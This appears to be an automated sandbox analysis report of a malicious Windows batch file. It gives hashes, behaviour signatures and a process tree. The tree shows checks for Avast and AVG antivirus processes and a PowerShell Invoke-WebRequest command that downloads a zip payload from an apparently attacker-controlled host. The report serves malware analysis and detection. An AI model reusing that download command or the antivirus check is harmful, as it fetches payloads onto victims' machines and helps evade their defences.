Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
27-11-2024 01:54
Static task
static1
Behavioral task
behavioral1
Sample
27112024_0154_new.bat
Resource
win7-20240903-en
5 signatures
300 seconds
General
-
Target
27112024_0154_new.bat
-
Size
3KB
-
MD5
6fc5138d9a459120a712b12ffd55ef44
-
SHA1
7ecb2535e52971cdde63a30fa2699d0d31de7af4
-
SHA256
25db2614bacd5fab235fae0dcf994833603604ed37173152c47f288733fa8418
-
SHA512
bc9462054d421efe81ab605d824cafcb603906b9523dc0bc16629a5d85ad96f81e738fac07a602b5ff46653a57e9571b6e5c257de9ca615a0b7c854f7738a497
Malware Config
Signatures
-
pid Process 2728 powershell.exe -
Enumerates processes with tasklist 1 TTPs 2 IoCs
pid Process 3020 tasklist.exe 2640 tasklist.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2728 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3020 tasklist.exe Token: SeDebugPrivilege 2640 tasklist.exe Token: SeDebugPrivilege 2728 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2284 wrote to memory of 3020 2284 cmd.exe 29 PID 2284 wrote to memory of 3020 2284 cmd.exe 29 PID 2284 wrote to memory of 3020 2284 cmd.exe 29 PID 2284 wrote to memory of 2444 2284 cmd.exe 30 PID 2284 wrote to memory of 2444 2284 cmd.exe 30 PID 2284 wrote to memory of 2444 2284 cmd.exe 30 PID 2284 wrote to memory of 2640 2284 cmd.exe 32 PID 2284 wrote to memory of 2640 2284 cmd.exe 32 PID 2284 wrote to memory of 2640 2284 cmd.exe 32 PID 2284 wrote to memory of 2372 2284 cmd.exe 33 PID 2284 wrote to memory of 2372 2284 cmd.exe 33 PID 2284 wrote to memory of 2372 2284 cmd.exe 33 PID 2284 wrote to memory of 2728 2284 cmd.exe 34 PID 2284 wrote to memory of 2728 2284 cmd.exe 34 PID 2284 wrote to memory of 2728 2284 cmd.exe 34
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\27112024_0154_new.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq AvastUI.exe"2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3020
-
-
C:\Windows\system32\find.exefind /i "AvastUI.exe"2⤵PID:2444
-
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq avgui.exe"2⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2640
-
-
C:\Windows\system32\find.exefind /i "avgui.exe"2⤵PID:2372
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kinggamminginvoicfin.cyou:8331/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728
-